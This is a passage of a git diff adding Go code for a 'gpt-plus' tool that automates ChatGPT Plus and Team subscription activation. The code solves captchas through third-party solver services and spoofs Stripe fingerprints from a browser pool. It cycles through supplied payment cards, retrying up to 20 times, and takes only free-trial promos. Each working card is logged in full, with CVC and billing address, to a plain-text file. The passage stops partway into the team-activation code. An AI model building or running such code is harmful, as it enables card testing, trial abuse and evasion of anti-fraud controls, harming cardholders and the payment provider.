s.getTaskResult(ctx, createResult.TaskID, p) + if err != nil { + return "", "", err + } + if done { + log.Printf("[captcha] [%s] solved in %d attempts (~%ds)", p.name, attempt, attempt*5) + return token, ekey, nil + } + + if attempt%6 == 0 { + log.Printf("[captcha] [%s] still solving... (attempt %d, ~%ds)", p.name, attempt, attempt*5) + } + } + + return "", "", fmt.Errorf("captcha solve timeout after 300s") +} + +func (s *Solver) getTaskResult(ctx context.Context, taskID string, p platform) (token, ekey string, done bool, err error) { + body, err := json.Marshal(map[string]string{ + "clientKey": p.apiKey, + "taskId": taskID, + }) + if err != nil { + return "", "", false, fmt.Errorf("marshal get result: %w", err) + } + + req, err := http.NewRequestWithContext(ctx, "POST", p.apiBase+"/getTaskResult", strings.NewReader(string(body))) + if err != nil { + return "", "", false, fmt.Errorf("create get result request: %w", err) + } + req.Header.Set("Content-Type", "application/json") + + resp, err := s.client.Do(req) + if err != nil { + return "", "", false, fmt.Errorf("send get result: %w", err) + } + defer resp.Body.Close() + + respBody, err := io.ReadAll(resp.Body) + if err != nil { + return "", "", false, fmt.Errorf("read get result response: %w", err) + } + + var result struct { + ErrorID int `json:"errorId"` + ErrorCode string `json:"errorCode"` + ErrorDescription string `json:"errorDescription"` + Status string `json:"status"` + Solution struct { + Token string `json:"token"` + GRecaptchaResponse string `json:"gRecaptchaResponse"` + RespKey string `json:"respKey"` + UserAgent string `json:"userAgent"` + } `json:"solution"` + } + if err := json.Unmarshal(respBody, &result); err != nil { + return "", "", false, fmt.Errorf("parse get result response: %w (body: %s)", err, string(respBody)) + } + + if result.ErrorID != 0 { + return "", "", false, fmt.Errorf("get result error: %s - %s", result.ErrorCode, result.ErrorDescription) + } + + if result.Status == "ready" { + log.Printf("[captcha] [%s] raw result body: %s", p.name, string(respBody)) + + solvedToken := result.Solution.Token + if solvedToken == "" { + solvedToken = result.Solution.GRecaptchaResponse + } + + log.Printf("[captcha] [%s] solved! token_len=%d, ekey=%s", p.name, len(solvedToken), result.Solution.RespKey) + return solvedToken, result.Solution.RespKey, true, nil + } + + return "", "", false, nil +} diff --git a/pkg/chatgpt/account.go b/pkg/chatgpt/account.go new file mode 100644 index 0000000..7af718c --- /dev/null +++ b/pkg/chatgpt/account.go @@ -0,0 +1,184 @@ +package chatgpt + +import ( + "encoding/json" + "fmt" + "log" + "net/http" + "sort" + + "gpt-plus/pkg/httpclient" +) + +const accountCheckURL = "https://chatgpt.com/backend-api/accounts/check/v4-2023-04-27" + +// AccountInfo holds parsed account data from the accounts/check endpoint. +type AccountInfo struct { + AccountID string + AccountUserID string // e.g. "user-xxx__account-id" + PlanType string // "free", "plus", "team" + OrganizationID string + IsTeam bool + Structure string // "personal" or "workspace" + // Entitlement reflects whether OpenAI has actually activated the subscription. + HasActiveSubscription bool + SubscriptionID string + // EligiblePromos contains promo campaign IDs keyed by plan (e.g. "plus", "team"). + EligiblePromos map[string]string +} + +// accountCheckResponse mirrors the JSON response from accounts/check. +type accountCheckResponse struct { + Accounts map[string]accountEntry `json:"accounts"` +} + +type promoEntry struct { + ID string `json:"id"` +} + +type accountEntry struct { + Account struct { + AccountID string `json:"account_id"` + AccountUserID string `json:"account_user_id"` + PlanType string `json:"plan_type"` + IsDeactivated bool `json:"is_deactivated"` + Structure string `json:"structure"` + } `json:"account"` + Entitlement struct { + SubscriptionID string `json:"subscription_id"` + HasActiveSubscription bool `json:"has_active_subscription"` + } `json:"entitlement"` + Features []string `json:"features"` + EligiblePromoCampaigns map[string]promoEntry `json:"eligible_promo_campaigns"` +} + +// CheckAccount queries the ChatGPT account status and returns parsed account info. +func CheckAccount(client *httpclient.Client, accessToken, deviceID string) (*AccountInfo, error) { + headers := map[string]string{ + "Authorization": "Bearer " + accessToken, + "User-Agent": defaultUserAgent, + "Accept": "*/*", + "Origin": chatGPTOrigin, + "Referer": chatGPTOrigin + "/", + "oai-device-id": deviceID, + "oai-language": defaultLanguage, + } + + resp, err := client.Get(accountCheckURL, headers) + if err != nil { + return nil, fmt.Errorf("account check request: %w", err) + } + + body, err := httpclient.ReadBody(resp) + if err != nil { + return nil, fmt.Errorf("read account check body: %w", err) + } + + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("account check returned %d: %s", resp.StatusCode, string(body)) + } + + log.Printf("[account] check response: %s", string(body)[:min(len(body), 500)]) + + var result accountCheckResponse + if err := json.Unmarshal(body, &result); err != nil { + return nil, fmt.Errorf("parse account check response: %w", err) + } + + // Flatten all accounts, then pick the best one (personal > workspace) + var allAccounts []*AccountInfo + for _, entry := range result.Accounts { + promos := make(map[string]string) + for key, promo := range entry.EligiblePromoCampaigns { + promos[key] = promo.ID + } + allAccounts = append(allAccounts, &AccountInfo{ + AccountID: entry.Account.AccountID, + AccountUserID: entry.Account.AccountUserID, + PlanType: entry.Account.PlanType, + Structure: entry.Account.Structure, + IsTeam: entry.Account.Structure == "workspace", + HasActiveSubscription: entry.Entitlement.HasActiveSubscription, + SubscriptionID: entry.Entitlement.SubscriptionID, + EligiblePromos: promos, + }) + } + + if len(allAccounts) == 0 { + return nil, fmt.Errorf("no accounts found in response") + } + + // Sort by AccountID for deterministic ordering (eliminates map iteration randomness) + sort.Slice(allAccounts, func(i, j int) bool { + return allAccounts[i].AccountID < allAccounts[j].AccountID + }) + + // Prefer personal account over workspace + for _, acct := range allAccounts { + if acct.Structure == "personal" { + return acct, nil + } + } + return allAccounts[0], nil +} + +// CheckAccountFull returns all account entries (useful for finding team accounts). +func CheckAccountFull(client *httpclient.Client, accessToken, deviceID string) ([]*AccountInfo, error) { + headers := map[string]string{ + "Authorization": "Bearer " + accessToken, + "User-Agent": defaultUserAgent, + "Accept": "*/*", + "Origin": chatGPTOrigin, + "Referer": chatGPTOrigin + "/", + "oai-device-id": deviceID, + "oai-language": defaultLanguage, + } + + resp, err := client.Get(accountCheckURL, headers) + if err != nil { + return nil, fmt.Errorf("account check request: %w", err) + } + + body, err := httpclient.ReadBody(resp) + if err != nil { + return nil, fmt.Errorf("read account check body: %w", err) + } + + if resp.StatusCode != http.StatusOK { + return nil, fmt.Errorf("account check returned %d: %s", resp.StatusCode, string(body)) + } + + var result accountCheckResponse + if err := json.Unmarshal(body, &result); err != nil { + return nil, fmt.Errorf("parse account check response: %w", err) + } + + var accounts []*AccountInfo + for _, entry := range result.Accounts { + promos := make(map[string]string) + for key, promo := range entry.EligiblePromoCampaigns { + promos[key] = promo.ID + } + info := &AccountInfo{ + AccountID: entry.Account.AccountID, + AccountUserID: entry.Account.AccountUserID, + PlanType: entry.Account.PlanType, + Structure: entry.Account.Structure, + IsTeam: entry.Account.Structure == "workspace", + HasActiveSubscription: entry.Entitlement.HasActiveSubscription, + SubscriptionID: entry.Entitlement.SubscriptionID, + EligiblePromos: promos, + } + accounts = append(accounts, info) + } + + if len(accounts) == 0 { + return nil, fmt.Errorf("no accounts found in response") + } + + sort.Slice(accounts, func(i, j int) bool { + return accounts[i].AccountID < accounts[j].AccountID + }) + + return accounts, nil +} diff --git a/pkg/chatgpt/invite.go b/pkg/chatgpt/invite.go new file mode 100644 index 0000000..ae52c0b --- /dev/null +++ b/pkg/chatgpt/invite.go @@ -0,0 +1,119 @@ +package chatgpt + +import ( + "encoding/json" + "fmt" + "log" + "net/http" + "strings" + + "gpt-plus/pkg/httpclient" +) + +// InviteResult holds the result of a team member invitation. +type InviteResult struct { + Email string + Success bool + Error string +} + +// GetWorkspaceAccessToken gets a workspace-scoped access token by calling +// GET /api/auth/session with chatgpt-account-id header. +// This is simpler than the exchange_workspace_token approach and matches browser behavior. +func GetWorkspaceAccessToken(client *httpclient.Client, teamAccountID string) (string, error) { + sessionURL := "https://chatgpt.com/api/auth/session" + + headers := map[string]string{ + "User-Agent": defaultUserAgent, + "Accept": "application/json", + "Origin": chatGPTOrigin, + "Referer": chatGPTOrigin + "/", + "chatgpt-account-id": teamAccountID, + } + + resp, err := client.Get(sessionURL, headers) + if err != nil { + return "", fmt.Errorf("workspace session request: %w", err) + } + + body, err := httpclient.ReadBody(resp) + if err != nil { + return "", fmt.Errorf("read workspace session body: %w", err) + } + + if resp.StatusCode != http.StatusOK { + return "", fmt.Errorf("workspace session returned %d: %s", resp.StatusCode, string(body)) + } + + var result struct { + AccessToken string `json:"accessToken"` + } + if err := json.Unmarshal(body, &result); err != nil { + return "", fmt.Errorf("parse workspace session response: %w", err) + } + + if result.AccessToken == "" { + return "", fmt.Errorf("empty accessToken in workspace session response") + } + + log.Printf("[invite] workspace access token obtained for %s, len=%d", teamAccountID, len(result.AccessToken)) + return result.AccessToken, nil +} + +// InviteToTeam sends a team invitation to the specified email address. +// POST /backend-api/accounts/{account_id}/invites +func InviteToTeam(client *httpclient.Client, workspaceToken, teamAccountID, deviceID, email string) error { + inviteURL := fmt.Sprintf("https://chatgpt.com/backend-api/accounts/%s/invites", teamAccountID) + + payload := map[string]interface{}{ + "email_addresses": []string{email}, + "role": "standard-user", + "resend_emails": true, + } + jsonBody, err := json.Marshal(payload) + if err != nil { + return fmt.Errorf("marshal invite body: %w", err) + } + + req, err := http.NewRequest("POST", inviteURL, strings.NewReader(string(jsonBody))) + if err != nil { + return fmt.Errorf("create invite request: %w", err) + } + + req.Header.Set("Authorization", "Bearer "+workspaceToken) + req.Header.Set("Content-Type", "application/json") + req.Header.Set("User-Agent", defaultUserAgent) + req.Header.Set("Origin", chatGPTOrigin) + req.Header.Set("Referer", chatGPTOrigin+"/") + req.Header.Set("oai-device-id", deviceID) + req.Header.Set("oai-language", defaultLanguage) + req.Header.Set("chatgpt-account-id", teamAccountID) + + resp, err := client.Do(req) + if err != nil { + return fmt.Errorf("send invite request: %w", err) + } + defer resp.Body.Close() + + body, err := httpclient.ReadBody(resp) + if err != nil { + return fmt.Errorf("read invite response: %w", err) + } + + if resp.StatusCode != http.StatusOK { + return fmt.Errorf("invite returned %d: %s", resp.StatusCode, string(body)) + } + + // Verify response contains account_invites + var result map[string]interface{} + if err := json.Unmarshal(body, &result); err != nil { + return fmt.Errorf("parse invite response: %w", err) + } + + if _, ok := result["account_invites"]; !ok { + return fmt.Errorf("no account_invites in response: %s", string(body)) + } + + log.Printf("[invite] successfully invited %s to team %s", email, teamAccountID) + return nil +} diff --git a/pkg/chatgpt/plus.go b/pkg/chatgpt/plus.go new file mode 100644 index 0000000..c1304cf --- /dev/null +++ b/pkg/chatgpt/plus.go @@ -0,0 +1,472 @@ +package chatgpt + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "log" + "net/http" + "net/url" + "os" + "sync" + "time" + + "github.com/google/uuid" + + "gpt-plus/config" + "gpt-plus/pkg/auth" + "gpt-plus/pkg/captcha" + "gpt-plus/pkg/httpclient" + "gpt-plus/pkg/provider/card" + "gpt-plus/pkg/stripe" +) + +// ErrPlusNotEligible indicates the account must pay full price ($20) for Plus — no free trial. +var ErrPlusNotEligible = errors.New("plus not eligible: full price $20, no free trial") + +// ErrCaptchaRequired indicates the payment triggered an hCaptcha challenge. +var ErrCaptchaRequired = errors.New("payment requires hCaptcha challenge") + +const ( + plusCheckoutStatusPolls = 20 + plusCheckoutStatusPollDelay = 2 * time.Second + plusActivationPolls = 20 + plusActivationPollDelay = 2 * time.Second +) + +// ActivationResult holds the outcome of a Plus subscription activation. +type ActivationResult struct { + StripeSessionID string + GUID string + MUID string + SID string + PlanType string +} + +// ActivatePlus orchestrates the full Plus subscription activation flow. +// Simplified: get card → fingerprint → sentinel → checkout → RunPaymentFlow → verify plan. +func ActivatePlus(ctx context.Context, session *Session, sentinel *auth.SentinelGenerator, + cardProv card.CardProvider, stripeCfg config.StripeConfig, emailAddr string, + solver *captcha.Solver, statusFn StatusFunc, browserFP *stripe.BrowserFingerprint) (*ActivationResult, error) { + + sf := func(format string, args ...interface{}) { + if statusFn != nil { + statusFn(format, args...) + } + } + + // Step 1: Get first card (for checkout session creation — country/currency) + sf(" → 获取支付卡片...") + cardInfo, err := cardProv.GetCard(ctx) + if err != nil { + return nil, fmt.Errorf("get card: %w", err) + } + sf(" → 卡片: ...%s (%s)", last4(cardInfo.Number), cardInfo.Country) + + // Step 2: Get Stripe fingerprint (m.stripe.com/6) + sf(" → 生成 Stripe 指纹...") + sc := stripe.FetchStripeConstants() + var fp *stripe.Fingerprint + if browserFP != nil { + log.Printf("[phase-4] using pooled browser fingerprint: lang=%s", browserFP.Language) + fp, err = stripe.GetFingerprint(session.Client, defaultUserAgent, "chatgpt.com", sc.TagVersion, browserFP) + } else { + log.Printf("[phase-4] no browser fingerprint pool, using auto-generated") + fp, err = stripe.GetFingerprintAuto(ctx, session.Client, defaultUserAgent, "chatgpt.com", sc.TagVersion) + } + if err != nil { + return nil, fmt.Errorf("get stripe fingerprint: %w", err) + } + log.Printf("[phase-4] fingerprint: guid=%s, muid=%s, sid=%s", fp.GUID, fp.MUID, fp.SID) + + // Generate per-session stripe_js_id (UUID v4, like stripe.js does) + stripeJsID := uuid.New().String() + + // Step 3: Generate sentinel token + sf(" → 生成 Sentinel Token...") + sentinelToken, err := sentinel.GenerateToken(ctx, nil, "authorize_continue") + if err != nil { + return nil, fmt.Errorf("generate sentinel token: %w", err) + } + + // Step 4: Create checkout session + var checkoutResult *stripe.CheckoutResult + if stripeCfg.Aimizy.Enabled { + sf(" → 创建 Checkout 会话 (Aimizy)...") + checkoutResult, err = stripe.CreateCheckoutViaAimizy( + stripeCfg.Aimizy, + session.AccessToken, + cardInfo.Country, + cardInfo.Currency, + "chatgptplusplan", + "plus-1-month-free", + 0, // no seats for plus + ) + if err != nil { + return nil, fmt.Errorf("aimizy create checkout: %w", err) + } + } else { + sf(" → 创建 Checkout 会话...") + checkoutBody := map[string]interface{}{ + "plan_name": "chatgptplusplan", + "promo_campaign": map[string]interface{}{ + "promo_campaign_id": "plus-1-month-free", + "is_coupon_from_query_param": false, + }, + "billing_details": map[string]interface{}{ + "country": cardInfo.Country, + "currency": cardInfo.Currency, + }, + "checkout_ui_mode": "custom", + "cancel_url": "https://chatgpt.com/#pricing", + } + + checkoutResult, err = stripe.CreateCheckoutSession( + session.Client, + session.AccessToken, + session.DeviceID, + sentinelToken, + checkoutBody, + ) + if err != nil { + return nil, fmt.Errorf("create checkout session: %w", err) + } + } + sf(" → Checkout 会话已创建: %s (金额=%d)", checkoutResult.CheckoutSessionID, checkoutResult.ExpectedAmount) + + // Step 5: Run common payment flow (card retry + captcha) + flowResult, err := stripe.RunPaymentFlow(ctx, &stripe.PaymentFlowParams{ + Client: session.Client, + CheckoutResult: checkoutResult, + FirstCard: cardInfo, + CardProv: cardProv, + Solver: solver, + StripeCfg: stripeCfg, + Fingerprint: fp, + EmailAddr: emailAddr, + StripeJsID: stripeJsID, + UserAgent: defaultUserAgent, + StatusFn: sf, + MaxRetries: 20, + CheckAmountFn: func(amount int) error { + if amount >= 2000 { + sf(" → 金额 $%.2f (无免费试用),跳过", float64(amount)/100) + return ErrPlusNotEligible + } + return nil + }, + }) + if err != nil { + if errors.Is(err, stripe.ErrNoCaptchaSolver) { + return nil, ErrCaptchaRequired + } + return nil, err + } + + // Log successful card + logSuccessCard(flowResult.CardInfo, emailAddr) + verifyURL := buildPlusVerifyURL(checkoutResult.CheckoutSessionID, checkoutResult.ProcessorEntity) + if _, err := runPlusPostPaymentActivation(ctx, session, checkoutResult, verifyURL, sf); err != nil { + return nil, err + } + + // Step 6: Verify account status + sf(" → 验证账号状态...") + var accountInfo *AccountInfo + for attempt := 1; attempt <= 6; attempt++ { + accountInfo, err = CheckAccount(session.Client, session.AccessToken, session.DeviceID) + if err != nil { + log.Printf("[phase-4] attempt %d: check account error: %v", attempt, err) + } else if accountInfo.PlanType == "plus" { + break + } else { + sf(" → 验证中 (%d/6): plan=%s,等待...", attempt, accountInfo.PlanType) + } + if attempt < 6 { + time.Sleep(2 * time.Second) + } + } + if accountInfo == nil || accountInfo.PlanType != "plus" { + planType := "unknown" + if accountInfo != nil { + planType = accountInfo.PlanType + } + return nil, fmt.Errorf("plan type still %q after payment, expected plus", planType) + } + log.Printf("[phase-4] account verified: plan_type=%s", accountInfo.PlanType) + + return &ActivationResult{ + StripeSessionID: checkoutResult.CheckoutSessionID, + GUID: fp.GUID, + MUID: fp.MUID, + SID: fp.SID, + PlanType: accountInfo.PlanType, + }, nil +} + +// logSuccessCardMu protects concurrent writes to success_cards.txt. +var logSuccessCardMu sync.Mutex + +// logSuccessCard appends a successful card to output/success_cards.txt for record keeping. +func logSuccessCard(cardInfo *card.CardInfo, email string) { + logSuccessCardMu.Lock() + defer logSuccessCardMu.Unlock() + + os.MkdirAll("output", 0755) + f, err := os.OpenFile("output/success_cards.txt", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) + if err != nil { + log.Printf("[card-log] failed to open success_cards.txt: %v", err) + return + } + defer f.Close() + line := fmt.Sprintf("%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s\n", + cardInfo.Number, cardInfo.ExpMonth, cardInfo.ExpYear, cardInfo.CVC, + cardInfo.Name, cardInfo.Country, cardInfo.Currency, + cardInfo.Address, cardInfo.City, cardInfo.State, cardInfo.PostalCode, + email) + f.WriteString(line) + log.Printf("[card-log] recorded success card ...%s for %s", last4(cardInfo.Number), email) +} + +// last4 returns the last 4 characters of a string, or the full string if shorter. +func last4(s string) string { + if len(s) <= 4 { + return s + } + return s[len(s)-4:] +} + +type plusCheckoutStatus struct { + Status string `json:"status"` + PaymentStatus string `json:"payment_status"` + RequiresManualApproval bool `json:"requires_manual_approval"` +} + +func buildPlusVerifyURL(stripeSessionID, processorEntity string) string { + if processorEntity == "" { + processorEntity = "openai_llc" + } + + q := url.Values{} + q.Set("stripe_session_id", stripeSessionID) + q.Set("processor_entity", processorEntity) + q.Set("plan_type", "plus") + return chatGPTOrigin + "/checkout/verify?" + q.Encode() +} + +func runPlusPostPaymentActivation(ctx context.Context, session *Session, + checkoutResult *stripe.CheckoutResult, verifyURL string, statusFn StatusFunc) (*AccountInfo, error) { + + if statusFn != nil { + statusFn(" -> Visiting checkout verify page...") + } + if err := visitPlusVerifyPage(session.Client, checkoutResult.CheckoutSessionID, verifyURL); err != nil { + return nil, fmt.Errorf("visit plus verify page: %w", err) + } + + if statusFn != nil { + statusFn(" -> Waiting for OpenAI checkout status...") + } + if _, err := waitForPlusCheckoutCompletion(ctx, session.Client, session.AccessToken, + session.DeviceID, checkoutResult.CheckoutSessionID, checkoutResult.ProcessorEntity, verifyURL, statusFn); err != nil { + return nil, fmt.Errorf("wait for plus checkout completion: %w", err) + } + + if statusFn != nil { + statusFn(" -> Triggering Plus success data...") + } + if err := fetchPlusSuccessData(session.Client, checkoutResult.CheckoutSessionID, + checkoutResult.ProcessorEntity, verifyURL); err != nil { + return nil, fmt.Errorf("fetch plus success data: %w", err) + } + + if statusFn != nil { + statusFn(" -> Waiting for Plus activation...") + } + accountInfo, err := waitForPlusActivation(ctx, session.Client, session.AccessToken, session.DeviceID, statusFn) + if err != nil { + return nil, err + } + + return accountInfo, nil +} + +func visitPlusVerifyPage(client *httpclient.Client, stripeSessionID, verifyURL string) error { + req, err := http.NewRequest("GET", verifyURL, nil) + if err != nil { + return fmt.Errorf("build verify request: %w", err) + } + req.Header.Set("User-Agent", defaultUserAgent) + req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8") + req.Header.Set("Referer", fmt.Sprintf("%s/checkout/openai_llc/%s", chatGPTOrigin, stripeSessionID)) + req.Header.Set("Upgrade-Insecure-Requests", "1") + + resp, err := client.Do(req) + if err != nil { + return fmt.Errorf("verify request: %w", err) + } + + body, err := httpclient.ReadBody(resp) + if err != nil { + return fmt.Errorf("read verify response: %w", err) + } + if resp.StatusCode != http.StatusOK { + return fmt.Errorf("verify page returned %d: %s", resp.StatusCode, string(body[:min(len(body), 200)])) + } + + log.Printf("[plus] verify page visited (status=%d)", resp.StatusCode) + return nil +} + +func waitForPlusCheckoutCompletion(ctx context.Context, client *httpclient.Client, + accessToken, deviceID, stripeSessionID, processorEntity, verifyURL string, statusFn StatusFunc) (*plusCheckoutStatus, error) { + + if processorEntity == "" { + processorEntity = "openai_llc" + } + + statusURL := fmt.Sprintf("%s/backend-api/payments/checkout/%s/%s", chatGPTOrigin, processorEntity, stripeSessionID) + headers := map[string]string{ + "Authorization": "Bearer " + accessToken, + "User-Agent": defaultUserAgent, + "Accept": "application/json", + "Origin": chatGPTOrigin, + "Referer": verifyURL, + "oai-device-id": deviceID, + "oai-language": defaultLanguage, + } + + var lastResult *plusCheckoutStatus + var lastErr error + for attempt := 1; attempt <= plusCheckoutStatusPolls; attempt++ { + resp, err := client.Get(statusURL, headers) + if err != nil { + lastErr = fmt.Errorf("checkout status request: %w", err) + log.Printf("[plus] checkout status attempt %d/%d failed: %v", attempt, plusCheckoutStatusPolls, lastErr) + } else { + body, readErr := httpclient.ReadBody(resp) + if readErr != nil { + lastErr = fmt.Errorf("read checkout status body: %w", readErr) + } else if resp.StatusCode != http.StatusOK { + lastErr = fmt.Errorf("checkout status returned %d: %s", resp.StatusCode, string(body[:min(len(body), 200)])) + } else { + var result plusCheckoutStatus + if err := json.Unmarshal(body, &result); err != nil { + lastErr = fmt.Errorf("parse checkout status response: %w", err) + } else { + lastResult = &result + if statusFn != nil { + statusFn(" -> Checkout status %d/%d: status=%s payment_status=%s rma=%v", + attempt, plusCheckoutStatusPolls, result.Status, result.PaymentStatus, result.RequiresManualApproval) + } + if result.RequiresManualApproval { + return nil, fmt.Errorf("checkout requires manual approval") + } + if result.Status == "complete" && result.PaymentStatus == "paid" { + return &result, nil + } + } + } + } + + if attempt < plusCheckoutStatusPolls { + if err := sleepContext(ctx, plusCheckoutStatusPollDelay); err != nil { + return nil, err + } + } + } + + if lastResult != nil { + return nil, fmt.Errorf("checkout status did not reach complete/paid (status=%q payment_status=%q)", + lastResult.Status, lastResult.PaymentStatus) + } + if lastErr != nil { + return nil, lastErr + } + return nil, fmt.Errorf("checkout status polling exhausted with no result") +} + +func fetchPlusSuccessData(client *httpclient.Client, stripeSessionID, processorEntity, verifyURL string) error { + if processorEntity == "" { + processorEntity = "openai_llc" + } + + q := url.Values{} + q.Set("stripe_session_id", stripeSessionID) + q.Set("plan_type", "plus") + q.Set("processor_entity", processorEntity) + q.Set("_routes", "routes/payments.success") + + successURL := chatGPTOrigin + "/payments/success.data?" + q.Encode() + req, err := http.NewRequest("GET", successURL, nil) + if err != nil { + return fmt.Errorf("build success.data request: %w", err) + } + req.Header.Set("User-Agent", defaultUserAgent) + req.Header.Set("Accept", "*/*") + req.Header.Set("Referer", verifyURL) + + resp, err := client.Do(req) + if err != nil { + return fmt.Errorf("success.data request: %w", err) + } + + body, err := httpclient.ReadBody(resp) + if err != nil { + return fmt.Errorf("read success.data response: %w", err) + } + if resp.StatusCode != http.StatusOK { + return fmt.Errorf("success.data returned %d: %s", resp.StatusCode, string(body[:min(len(body), 200)])) + } + if len(body) == 0 { + return fmt.Errorf("success.data returned empty body") + } + + log.Printf("[plus] success.data visited (status=%d, bytes=%d)", resp.StatusCode, len(body)) + return nil +} + +func waitForPlusActivation(ctx context.Context, client *httpclient.Client, + accessToken, deviceID string, statusFn StatusFunc) (*AccountInfo, error) { + + var lastInfo *AccountInfo + var lastErr error + for attempt := 1; attempt <= plusActivationPolls; attempt++ { + accountInfo, err := CheckAccount(client, accessToken, deviceID) + if err != nil { + lastErr = err + log.Printf("[plus] accounts/check attempt %d/%d failed: %v", attempt, plusActivationPolls, err) + } else { + lastInfo = accountInfo + if plusAccountActivated(accountInfo) { + return accountInfo, nil + } + if statusFn != nil { + statusFn(" -> accounts/check %d/%d: plan=%s active=%v subscription_id=%t", + attempt, plusActivationPolls, accountInfo.PlanType, + accountInfo.HasActiveSubscription, accountInfo.SubscriptionID != "") + } + lastErr = fmt.Errorf("plus not activated yet") + } + + if attempt < plusActivationPolls { + if err := sleepContext(ctx, plusActivationPollDelay); err != nil { + return nil, err + } + } + } + + if lastInfo != nil { + return nil, fmt.Errorf("plus not activated after %d polls: plan=%q active=%v subscription_id=%q", + plusActivationPolls, lastInfo.PlanType, lastInfo.HasActiveSubscription, lastInfo.SubscriptionID) + } + return nil, fmt.Errorf("plus activation check failed after %d polls: %w", plusActivationPolls, lastErr) +} + +func plusAccountActivated(accountInfo *AccountInfo) bool { + return accountInfo != nil && + accountInfo.PlanType == "plus" && + accountInfo.HasActiveSubscription && + accountInfo.SubscriptionID != "" +} diff --git a/pkg/chatgpt/session.go b/pkg/chatgpt/session.go new file mode 100644 index 0000000..f8debd8 --- /dev/null +++ b/pkg/chatgpt/session.go @@ -0,0 +1,131 @@ +package chatgpt + +import ( + "encoding/json" + "fmt" + "log" + "net/http" + + "gpt-plus/pkg/httpclient" +) + +const ( + defaultUserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" + chatGPTOrigin = "https://chatgpt.com" +) + +// defaultLanguage is the package-level language setting used by standalone functions +// that don't have access to a Session. Set via SetDefaultLanguage(). +var defaultLanguage = "en-US" + +// StatusFunc is a callback for reporting progress to the user. +type StatusFunc func(format string, args ...interface{}) + +// GetDefaultUA returns the default User-Agent string. +func GetDefaultUA() string { + return defaultUserAgent +} + +// SetDefaultLanguage sets the default oai-language for standalone functions (CheckAccount, etc.). +func SetDefaultLanguage(lang string) { + if lang != "" { + defaultLanguage = lang + } +} + +// GetDefaultLanguage returns the current default language setting. +func GetDefaultLanguage() string { + return defaultLanguage +} + +// Session holds authentication state for a ChatGPT session. +type Session struct { + Client *httpclient.Client + AccessToken string + RefreshToken string + IDToken string + DeviceID string + AccountID string + UserID string + Language string // browser locale e.g. "en-US" — derived from card country +} + +// NewSession creates a new Session with all auth details. +func NewSession(client *httpclient.Client, accessToken, refreshToken, idToken, deviceID, accountID, userID string) *Session { + return &Session{ + Client: client, + AccessToken: accessToken, + RefreshToken: refreshToken, + IDToken: idToken, + DeviceID: deviceID, + AccountID: accountID, + UserID: userID, + } +} + +// AuthHeaders returns common headers required for ChatGPT API requests. +func (s *Session) AuthHeaders() map[string]string { + lang := s.Language + if lang == "" { + lang = defaultLanguage + } + return map[string]string{ + "Authorization": "Bearer " + s.AccessToken, + "User-Agent": defaultUserAgent, + "Accept": "*/*", + "Content-Type": "application/json", + "Origin": chatGPTOrigin, + "Referer": chatGPTOrigin + "/", + "oai-device-id": s.DeviceID, + "oai-language": lang, + } +} + +// RefreshSession calls /api/auth/session to get a fresh access token +// (reflecting current plan status after Plus/Team activation). +func (s *Session) RefreshSession() error { + sessionURL := "https://chatgpt.com/api/auth/session" + + headers := map[string]string{ + "User-Agent": defaultUserAgent, + "Accept": "application/json", + "Origin": chatGPTOrigin, + "Referer": chatGPTOrigin + "/", + } + + resp, err := s.Client.Get(sessionURL, headers) + if err != nil { + return fmt.Errorf("refresh session request: %w", err) + } + + body, err := httpclient.ReadBody(resp) + if err != nil { + return fmt.Errorf("read refresh session body: %w", err) + } + + if resp.StatusCode != http.StatusOK { + return fmt.Errorf("refresh session returned %d: %s", resp.StatusCode, string(body)) + } + + var result struct { + AccessToken string `json:"accessToken"` + RefreshToken string `json:"refreshToken"` + IDToken string `json:"idToken"` + } + if err := json.Unmarshal(body, &result); err != nil { + return fmt.Errorf("parse refresh session response: %w", err) + } + + if result.AccessToken != "" { + s.AccessToken = result.AccessToken + } + if result.RefreshToken != "" { + s.RefreshToken = result.RefreshToken + } + if result.IDToken != "" { + s.IDToken = result.IDToken + } + + log.Printf("[session] tokens refreshed successfully") + return nil +} diff --git a/pkg/chatgpt/team.go b/pkg/chatgpt/team.go new file mode 100644 index 0000000..d4153e3 --- /dev/null +++ b/pkg/chatgpt/team.go @@ -0,0 +1,711 @@ +package chatgpt + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "io" + "log" + "math/rand" + "net/http" + "net/url" + "strings" + "time" + + "github.com/google/uuid" + + "gpt-plus/config" + "gpt-plus/pkg/auth" + "gpt-plus/pkg/captcha" + "gpt-plus/pkg/httpclient" + "gpt-plus/pkg/provider/card" + "gpt-plus/pkg/provider/email" + "gpt-plus/pkg/stripe" +) + +const ( + couponCheckURL = "https://chatgpt.com/backend-api/promo_campaign/check_coupon" + teamStripePollAttempts = 20 + teamWorkspacePolls = 20 + teamWorkspacePollDelay = 2 * time.Second + teamSuccessPageAttempts = 3 +) + +// TeamResult holds the outcome of a Team subscription activation. +type TeamResult struct { + TeamAccountID string + WorkspaceToken string + StripeSessionID string +} + +// couponCheckResponse mirrors the JSON from check_coupon. +type couponCheckResponse struct { + State string `json:"state"` +} + +// CheckTeamEligibility checks whether the account is eligible for a team coupon. +func CheckTeamEligibility(client *httpclient.Client, accessToken, deviceID, coupon string) (bool, error) { + checkURL := fmt.Sprintf("%s?coupon=%s&is_coupon_from_query_param=false", couponCheckURL, coupon) + + headers := map[string]string{ + "Authorization": "Bearer " + accessToken, + "User-Agent": defaultUserAgent, + "Accept": "*/*", + "Origin": chatGPTOrigin, + "Referer": chatGPTOrigin + "/", + "oai-device-id": deviceID, + "oai-language": defaultLanguage, + } + + resp, err := client.Get(checkURL, headers) + if err != nil { + return false, fmt.Errorf("coupon check request: %w", err) + } + + body, err := httpclient.ReadBody(resp) + if err != nil { + return false, fmt.Errorf("read coupon check body: %w", err) + } + + if resp.StatusCode != http.StatusOK { + return false, fmt.Errorf("coupon check returned %d: %s", resp.StatusCode, string(body)) + } + + var result couponCheckResponse + if err := json.Unmarshal(body, &result); err != nil { + return false, fmt.Errorf("parse coupon check response: %w", err) + } + + return result.State == "eligible", nil +} + +// ActivateTeam orchestrates the full Team subscription activation flow. +func ActivateTeam(ctx context.Context, session *Session, sentinel 